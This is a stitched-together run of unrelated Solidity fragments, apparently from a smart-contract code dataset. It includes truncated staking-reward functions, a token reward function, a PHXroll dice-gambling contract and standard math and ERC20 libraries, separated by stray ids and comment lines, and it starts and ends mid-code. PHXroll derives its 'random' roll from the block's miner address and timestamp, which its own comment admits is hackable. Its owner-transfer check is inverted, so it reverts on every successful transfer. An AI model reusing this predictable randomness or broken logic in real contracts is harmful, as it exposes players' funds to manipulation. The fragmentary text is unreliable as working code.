holdersCap) = calculateCumulativeRewardPrices(); uint256 initialCap = _getInitialCap(_property); /** * Calculates the cap */ uint256 capValue = holdersCap.sub(initialCap); return ( _calculateCumulativeHoldersRewardAmount(holders, _property), capValue ); } function _getInitialCap(address _property) private view returns (uint256) { uint256 initialCap = getStorageInitialCumulativeHoldersRewardCap(_property); if (initialCap > 0) { return initialCap; } // Fallback when there is a data past staked. if ( getStorageLastCumulativeHoldersRewardPricePerProperty(_property) > 0 || getStoragePropertyValue(_property) > 0 ) { return getStorageFallbackInitialCumulativeHoldersRewardCap(); } return 0; } /** * Updates cumulative sum of the maximum mint amount calculated by Allocator contract, the latest maximum mint amount per block, * and the last recorded block number. * The cumulative sum of the maximum mint amount is always added. * By recording that value when the staker last stakes, the difference from the when the staker stakes can be calculated. */ function update() public { /** * Gets the cumulative sum of the maximum mint amount and the maximum mint number per block. */ (uint256 _nextRewards, uint256 _amount) = dry(); /** * Records each value and the latest block number. */ setStorageCumulativeGlobalRewards(_nextRewards); setStorageLastSameRewardsAmountAndBlock(_amount, block.number); } /** * Referring to the values recorded in each storage to returns the latest cumulative sum of the maximum mint amount and the latest maximum mint amount per block. */ function dry() private view returns (uint256 _nextRewards, uint256 _amount) { /** * Gets the latest mint amount per block from Allocator contract. */ uint256 rewardsAmount = IAllocator(config().allocator()).calculateMaxRewardsPerBlock(); /** * Gets the maximum mint amount per block, and the last recorded block number from `LastSameRewardsAmountAndBlock` storage. */ (uint256 lastAmount, uint256 lastBlock) = getStorageLastSameRewardsAmountAndBlock(); /** * If the recorded maximum mint amount per block and the result of the Allocator contract are different, * the result of the Allocator contract takes precedence as a maximum mint amount per block. */ uint256 lastMaxRewards = lastAmount == rewardsAmount ? rewardsAmount : lastAmount; /** * Calculates the difference between the latest block number and the last recorded block number. */ uint256 blocks = lastBlock > 0 ? block.number.sub(lastBlock) : 0; /** * Adds the calculated new cumulative maximum mint amount to the recorded cumulative maximum mint amount. */ uint256 additionalRewards = lastMaxRewards.mul(blocks); uint256 nextRewards = getStorageCumulativeGlobalRewards().add(additionalRewards); /** * Returns the latest theoretical cumulative sum of maximum mint amount and maximum mint amount per block. */ return (nextRewards, rewardsAmount); } /** * Returns the staker reward as interest. */ function _calculateInterestAmount(address _property, address _user) private view returns ( uint256 _amount, uint256 _interestPrice, RewardPrices memory _prices ) { /** * Get the amount the user is staking for the Property. */ uint256 lockedUpPerAccount = getStorageValue(_property, _user); /** * Gets the cumulative sum of the interest price recorded the last time you withdrew. */ uint256 lastInterest = getStorageLastStakedInterestPrice(_property, _user); /** * Gets the latest cumulative sum of the interest price. */ ( uint256 reward, uint256 holders, uint256 interest, uint256 holdersCap ) = calculateCumulativeRewardPrices(); /** * Calculates and returns the latest withdrawable reward amount from the difference. */ uint256 result = interest >= lastInterest ? interest.sub(lastInterest).mul(lockedUpPerAccount).divBasis() : 0; return ( result, interest, RewardPrices(reward, holders, interest, holdersCap) ); } /** * Returns the total rewards currently available for withdrawal. (For calling from inside the contract) */ function _calculateWithdrawableInterestAmount( address _property, address _user ) private view returns (uint256 _amount, RewardPrices memory _prices) { /** * If the passed Property has not authenticated, returns always 0. */ if ( IMetricsGroup(config().metricsGroup()).hasAssets(_property) == false ) { return (0, RewardPrices(0, 0, 0, 0)); } /** * Gets the reward amount in saved without withdrawal. */ uint256 pending = getStoragePendingInterestWithdrawal(_property, _user); /** * Gets the reward amount of before DIP4. */ uint256 legacy = __legacyWithdrawableInterestAmount(_property, _user); /** * Gets the latest withdrawal reward amount. */ (uint256 amount, , RewardPrices memory prices) = _calculateInterestAmount(_property, _user); /** * Returns the sum of all values. */ uint256 withdrawableAmount = amount.add(pending).add(legacy); return (withdrawableAmount, prices); } /** * Returns the total rewards currently available for withdrawal. (For calling from external of the contract) */ function calculateWithdrawableInterestAmount( address _property, address _user ) public view returns (uint256) { (uint256 amount, ) = _calculateWithdrawableInterestAmount(_property, _user); return amount; } /** * Withdraws staking reward as an interest. */ function _withdrawInterest(address _property) private returns (RewardPrices memory _prices) { /** * Gets the withdrawable amount. */ (uint256 value, RewardPrices memory prices) = _calculateWithdrawableInterestAmount(_property, msg.sender); /** * Sets the unwithdrawn reward amount to 0. */ setStoragePendingInterestWithdrawal(_property, msg.sender, 0); /** * Updates the staking status to avoid double rewards. */ setStorageLastStakedInterestPrice( _property, msg.sender, prices.interest ); __updateLegacyWithdrawableInterestAmount(_property, msg.sender); /** * Mints the reward. */ require( IDevMinter(devMinter).mint(msg.sender, value), "dev mint failed" ); /** * Since the total supply of tokens has changed, updates the latest maximum mint amount. */ update(); return prices; } /** * Status updates with the addition or release of staking. */ function updateValues( bool _addition, address _account, address _property, uint256 _value, RewardPrices memory _prices ) private { beforeStakesChanged(_property, _account, _prices); /** * If added staking: */ if (_addition) { /** * Updates the current staking amount of the protocol total. */ addAllValue(_value); /** * Updates the current staking amount of the Property. */ addPropertyValue(_property, _value); /** * Updates the user's current staking amount in the Property. */ addValue(_property, _account, _value); /** * If released staking: */ } else { /** * Updates the current staking amount of the protocol total. */ subAllValue(_value); /** * Updates the current staking amount of the Property. */ subPropertyValue(_property, _value); /** * Updates the current staking amount of the Property. */ subValue(_property, _account, _value); } /** * Since each staking amount has changed, updates the latest maximum mint amount. */ update(); } /** * Returns the staking amount of the protocol total. */ function getAllValue() external view returns (uint256) { return getStorageAllValue(); } /** * Adds the staking amount of the protocol total. */ function addAllValue(uint256 _value) private { uint256 value = getStorageAllValue(); value = value.add(_value); setStorageAllValue(value); } /** * Subtracts the staking amount of the protocol total. */ function subAllValue(uint256 _value) private { uint256 value = getStorageAllValue(); value = value.sub(_value); setStorageAllValue(value); } /** * Returns the user's staking amount in the Property. */ function getValue(address _property, address _sender) external view returns (uint256) { return getStorageValue(_property, _sender); } /** * Adds the user's staking amount in the Property. */ function addValue( address _property, address _sender, uint256 _value ) private { uint256 value = getStorageValue(_property, _sender); value = value.add(_value); setStorageValue(_property, _sender, value); } /** * Subtracts the user's staking amount in the Property. */ function subValue( address _property, address _sender, uint256 _value ) private { uint256 value = getStorageValue(_property, _sender); value = value.sub(_value); setStorageValue(_property, _sender, value); } /** * Returns whether the user is staking in the Property. */ function hasValue( address _property, address _sender, uint256 _amount ) private view returns (bool) { uint256 value = getStorageValue(_property, _sender); return value >= _amount; } /** * Returns the staking amount of the Property. */ function getPropertyValue(address _property) external view returns (uint256) { return getStoragePropertyValue(_property); } /** * Adds the staking amount of the Property. */ function addPropertyValue(address _property, uint256 _value) private { uint256 value = getStoragePropertyValue(_property); value = value.add(_value); setStoragePropertyValue(_property, value); } /** * Subtracts the staking amount of the Property. */ function subPropertyValue(address _property, uint256 _value) private { uint256 value = getStoragePropertyValue(_property); uint256 nextValue = value.sub(_value); setStoragePropertyValue(_property, nextValue); } /** * Saves the latest reward amount as an undrawn amount. */ function updatePendingInterestWithdrawal(address _property, address _user) private returns (RewardPrices memory _prices) { /** * Gets the latest reward amount. */ (uint256 withdrawableAmount, RewardPrices memory prices) = _calculateWithdrawableInterestAmount(_property, _user); /** * Saves the amount to `PendingInterestWithdrawal` storage. */ setStoragePendingInterestWithdrawal( _property, _user, withdrawableAmount ); /** * Updates the reward amount of before DIP4 to prevent further addition it. */ __updateLegacyWithdrawableInterestAmount(_property, _user); return prices; } /** * Returns the reward amount of the calculation model before DIP4. * It can be calculated by subtracting "the last cumulative sum of reward unit price" from * "the current cumulative sum of reward unit price," and multiplying by the staking amount. */ function __legacyWithdrawableInterestAmount( address _property, address _user ) private view returns (uint256) { uint256 _last = getStorageLastInterestPrice(_property, _user); uint256 price = getStorageInterestPrice(_property); uint256 priceGap = price.sub(_last); uint256 lockedUpValue = getStorageValue(_property, _user); uint256 value = priceGap.mul(lockedUpValue); return value.divBasis(); } /** * Updates and treats the reward of before DIP4 as already received. */ function __updateLegacyWithdrawableInterestAmount( address _property, address _user ) private { uint256 interestPrice = getStorageInterestPrice(_property); if (getStorageLastInterestPrice(_property, _user) != interestPrice) { setStorageLastInterestPrice(_property, _user, interestPrice); } } function ___setFallbackInitialCumulativeHoldersRewardCap(uint256 _value) external onlyOwner { setStorageFallbackInitialCumulativeHoldersRewardCap(_value); } }
Returns divisioned the number by 10^18. This function can use it to restore the number of digits in the result of `outOf`. _a Numerical value to be divisioned. return Divisioned value./
function divBasis(uint256 _a) internal pure returns (uint256) { return _a.div(BASIS_VAKUE); }
2,011,172
./full_match/1/0xdF3b985E15281EfecF203998200b26F024699F47/sources/browser/Brrr.sol
Gives user reward for updating the total supply./
function _giveReward(uint256 reward) internal returns (bool){ _circulatingSupply = _circulatingSupply.add(reward); _balances[_msgSender()] = _balances[_msgSender()].add(reward); emit Transfer(address(this), address(_msgSender()), reward); return true; }
8,441,539
pragma solidity ^0.4.21; /* * ##### ## ##### ## ### ## ### ### * ###### /### ###### / #### / /#### #### / ### ### * /# / / ### /# / / ####/ / ### /####/ ## ## * / / / ### / / / # # ### / ## ## ## * / / ## / / # ### / ## ## * ## ## ## ## ## # ###/ ### /### /### ## ## * ## ## ## ## ## # ### ###/ #### / / ### / ## ## * /### ## / ## ######## /### ## ###/ / ###/ ## ## * / ### ## / ## ## # / ### ## ## ## ## ## * ## ######/ ## ## ## / ### ## ## ## ## ## * ## ###### # ## ## / ### ## ## ## ## ## * ## ## / ## / ### ## ## ## ## ## * ## ## /##/ ## / ### / ## ## ## ## ## * ## ## / ##### ## / ####/ ### ###### ### / ### / * ## ## ## / ## / ### ### #### ##/ ##/ * ### # / # * ### / ## * #####/ * ### * * ____ * /\' .\ _____ * /: \___\ / . /\ * \' / . / /____/..\ * \/___/ \' '\ / * \'__'\/ * * // Probably Unfair // * * //*** Developed By: * _____ _ _ _ ___ _ * |_ _|__ __| |_ _ _ (_)__ __ _| | _ (_)___ ___ * | |/ -_) _| ' \| ' \| / _/ _` | | / (_-</ -_) * |_|\___\__|_||_|_||_|_\__\__,_|_|_|_\_/__/\___| * * © 2018 TechnicalRise. Written in March 2018. * All rights reserved. Do not copy, adapt, or otherwise use without permission. * https://www.reddit.com/user/TechnicalRise/ * */ contract PHXReceivingContract { function tokenFallback(address _from, uint _value, bytes _data) public; } contract PHXInterface { function balanceOf(address who) public view returns (uint); function transfer(address _to, uint _value) public returns (bool); function transfer(address _to, uint _value, bytes _data) public returns (bool); } contract usingMathLibraries { function safeAdd(uint a, uint b) internal pure returns (uint) { require(a + b >= a); return a + b; } function safeSub(uint a, uint b) pure internal returns (uint) { require(b <= a); return a - b; } // parseInt function parseInt(string _a) internal pure returns (uint) { return parseInt(_a, 0); } // parseInt(parseFloat*10^_b) function parseInt(string _a, uint _b) internal pure returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i<bresult.length; i++){ if ((bresult[i] >= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } } contract PHXroll is PHXReceivingContract, usingMathLibraries { /* * checks player profit, bet size and player number is within range */ modifier betIsValid(uint _betSize, uint _playerNumber) { require(((((_betSize * (100-(safeSub(_playerNumber,1)))) / (safeSub(_playerNumber,1))+_betSize))*houseEdge/houseEdgeDivisor)-_betSize < maxProfit && _betSize > minBet && _playerNumber > minNumber && _playerNumber < maxNumber); _; } /* * checks game is currently active */ modifier gameIsActive { require(gamePaused == false); _; } /* * checks payouts are currently active */ modifier payoutsAreActive { require(payoutsPaused == false); _; } /* * checks only owner address is calling */ modifier onlyOwner { require(msg.sender == owner); _; } /* * checks only treasury address is calling */ modifier onlyTreasury { require(msg.sender == treasury); _; } /* * game vars */ uint constant public maxProfitDivisor = 1000000; uint constant public houseEdgeDivisor = 1000; uint constant public maxNumber = 99; uint constant public minNumber = 2; bool public gamePaused; address public owner; bool public payoutsPaused; address public treasury; uint public contractBalance; uint public houseEdge; uint public maxProfit; uint public maxProfitAsPercentOfHouse; uint public minBet; //init discontinued contract data int public totalBets = 0; //init discontinued contract data uint public totalTRsWon = 0; //init discontinued contract data uint public totalTRsWagered = 0; /* * player vars */ uint public rngId; mapping (uint => address) playerAddress; mapping (uint => uint) playerBetId; mapping (uint => uint) playerBetValue; mapping (uint => uint) playerDieResult; mapping (uint => uint) playerNumber; mapping (uint => uint) playerProfit; /* * events */ /* log bets + output to web3 for precise 'payout on win' field in UI */ event LogBet(uint indexed BetID, address indexed PlayerAddress, uint indexed RewardValue, uint ProfitValue, uint BetValue, uint PlayerNumber); /* output to web3 UI on bet result*/ /* Status: 0=lose, 1=win, 2=win + failed send, 3=refund, 4=refund + failed send*/ event LogResult(uint indexed BetID, address indexed PlayerAddress, uint PlayerNumber, uint DiceResult, uint Value, int Status); /* log manual refunds */ event LogRefund(uint indexed BetID, address indexed PlayerAddress, uint indexed RefundValue); /* log owner transfers */ event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred); address public constant PHXTKNADDR = 0x14b759A158879B133710f4059d32565b4a66140C; PHXInterface public PHXTKN; /* * init */ function PHXroll() public { owner = msg.sender; treasury = msg.sender; // Initialize the PHX Contract PHXTKN = PHXInterface(PHXTKNADDR); /* init 990 = 99% (1% houseEdge)*/ ownerSetHouseEdge(990); /* init 10,000 = 1% */ ownerSetMaxProfitAsPercentOfHouse(10000); /* init min bet (0.1 PHX) */ ownerSetMinBet(100000000000000000); } // This is a supercheap psuedo-random number generator // that relies on the fact that "who" will mine and "when" they will // mine is random. This is usually vulnerable to "inside the block" // attacks where someone writes a contract mined in the same block // and calls this contract from it -- but we don't accept transactions // from other contracts, lessening that risk. It seems like someone // would therefore need to be able to predict the block miner and // block timestamp in advance to hack this. // // ¯\_(ツ)_/¯ // uint seed3; function _pRand(uint _modulo) internal view returns (uint) { require((1 < _modulo) && (_modulo <= 1000)); uint seed1 = uint(block.coinbase); // Get Miner's Address uint seed2 = now; // Get the timestamp seed3++; // Make all pRand calls unique return uint(keccak256(seed1, seed2, seed3)) % _modulo; } /* * public function * player submit bet * only if game is active & bet is valid */ function _playerRollDice(uint _rollUnder, TKN _tkn) private gameIsActive betIsValid(_tkn.value, _rollUnder) { // Note that msg.sender is the Token Contract Address // and "_from" is the sender of the tokens require(_humanSender(_tkn.sender)); // Check that this is a non-contract sender require(_phxToken(msg.sender)); // Check that this is a PHX Token Transfer // Increment rngId rngId++; /* map bet id to this wager */ playerBetId[rngId] = rngId; /* map player lucky number */ playerNumber[rngId] = _rollUnder; /* map value of wager */ playerBetValue[rngId] = _tkn.value; /* map player address */ playerAddress[rngId] = _tkn.sender; /* safely map player profit */ playerProfit[rngId] = 0; /* provides accurate numbers for web3 and allows for manual refunds */ emit LogBet(playerBetId[rngId], playerAddress[rngId], safeAdd(playerBetValue[rngId], playerProfit[rngId]), playerProfit[rngId], playerBetValue[rngId], playerNumber[rngId]); /* map Die result to player */ playerDieResult[rngId] = _pRand(100) + 1; /* total number of bets */ totalBets += 1; /* total wagered */ totalTRsWagered += playerBetValue[rngId]; /* * pay winner * update contract balance to calculate new max bet * send reward */ if(playerDieResult[rngId] < playerNumber[rngId]){ /* safely map player profit */ playerProfit[rngId] = ((((_tkn.value * (100-(safeSub(_rollUnder,1)))) / (safeSub(_rollUnder,1))+_tkn.value))*houseEdge/houseEdgeDivisor)-_tkn.value; /* safely reduce contract balance by player profit */ contractBalance = safeSub(contractBalance, playerProfit[rngId]); /* update total Rises won */ totalTRsWon = safeAdd(totalTRsWon, playerProfit[rngId]); emit LogResult(playerBetId[rngId], playerAddress[rngId], playerNumber[rngId], playerDieResult[rngId], playerProfit[rngId], 1); /* update maximum profit */ setMaxProfit(); // Transfer profit plus original bet PHXTKN.transfer(playerAddress[rngId], playerProfit[rngId] + _tkn.value); return; } else { /* * no win * send 1 Rise to a losing bet * update contract balance to calculate new max bet */ emit LogResult(playerBetId[rngId], playerAddress[rngId], playerNumber[rngId], playerDieResult[rngId], playerBetValue[rngId], 0); /* * safe adjust contractBalance * setMaxProfit * send 1 Rise to losing bet */ contractBalance = safeAdd(contractBalance, (playerBetValue[rngId]-1)); /* update maximum profit */ setMaxProfit(); /* * send 1 Rise */ PHXTKN.transfer(playerAddress[rngId], 1); return; } } // !Important: Note the use of the following struct struct TKN { address sender; uint value; } function tokenFallback(address _from, uint _value, bytes _data) public { if(_from == treasury) { contractBalance = safeAdd(contractBalance, _value); /* safely update contract balance */ /* update the maximum profit */ setMaxProfit(); return; } else { TKN memory _tkn; _tkn.sender = _from; _tkn.value = _value; _playerRollDice(parseInt(string(_data)), _tkn); } } /* * internal function * sets max profit */ function setMaxProfit() internal { maxProfit = (contractBalance*maxProfitAsPercentOfHouse)/maxProfitDivisor; } /* only owner adjust contract balance variable (only used for max profit calc) */ function ownerUpdateContractBalance(uint newContractBalanceInTRs) public onlyOwner { contractBalance = newContractBalanceInTRs; } /* only owner address can set houseEdge */ function ownerSetHouseEdge(uint newHouseEdge) public onlyOwner { houseEdge = newHouseEdge; } /* only owner address can set maxProfitAsPercentOfHouse */ function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public onlyOwner { /* restrict each bet to a maximum profit of 1% contractBalance */ require(newMaxProfitAsPercent <= 10000); maxProfitAsPercentOfHouse = newMaxProfitAsPercent; setMaxProfit(); } /* only owner address can set minBet */ function ownerSetMinBet(uint newMinimumBet) public onlyOwner { minBet = newMinimumBet; } /* only owner address can transfer PHX */ function ownerTransferPHX(address sendTo, uint amount) public onlyOwner { /* safely update contract balance when sending out funds*/ contractBalance = safeSub(contractBalance, amount); /* update max profit */ setMaxProfit(); require(!PHXTKN.transfer(sendTo, amount)); emit LogOwnerTransfer(sendTo, amount); } /* only owner address can set emergency pause #1 */ function ownerPauseGame(bool newStatus) public onlyOwner { gamePaused = newStatus; } /* only owner address can set emergency pause #2 */ function ownerPausePayouts(bool newPayoutStatus) public onlyOwner { payoutsPaused = newPayoutStatus; } /* only owner address can set treasury address */ function ownerSetTreasury(address newTreasury) public onlyOwner { treasury = newTreasury; } /* only owner address can set owner address */ function ownerChangeOwner(address newOwner) public onlyOwner { owner = newOwner; } /* only owner address can selfdestruct - emergency */ function ownerkill() public onlyOwner { PHXTKN.transfer(owner, contractBalance); selfdestruct(owner); } function _phxToken(address _tokenContract) private pure returns (bool) { return _tokenContract == PHXTKNADDR; // Returns "true" of this is the PHX Token Contract } // Determine if the "_from" address is a contract function _humanSender(address _from) private view returns (bool) { uint codeLength; assembly { codeLength := extcodesize(_from) } return (codeLength == 0); // If this is "true" sender is most likely a Wallet } }
only owner address can set maxProfitAsPercentOfHouse /
function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public onlyOwner { require(newMaxProfitAsPercent <= 10000); maxProfitAsPercentOfHouse = newMaxProfitAsPercent; setMaxProfit();
5,812,946
pragma experimental ABIEncoderV2; // File: Address.sol /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: Context.sol /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: ILiquidityGauge.sol // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. // For compatibility, we're keeping the same function names as in the original Curve code, including the mixed-case // naming convention. // solhint-disable func-name-mixedcase interface ILiquidityGauge { function integrate_fraction(address user) external view returns (uint256); function user_checkpoint(address user) external returns (bool); function is_killed() external view returns (bool); function killGauge() external; function unkillGauge() external; } // File: Math.sol /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // File: SafeMath.sol /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: ERC20.sol /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * 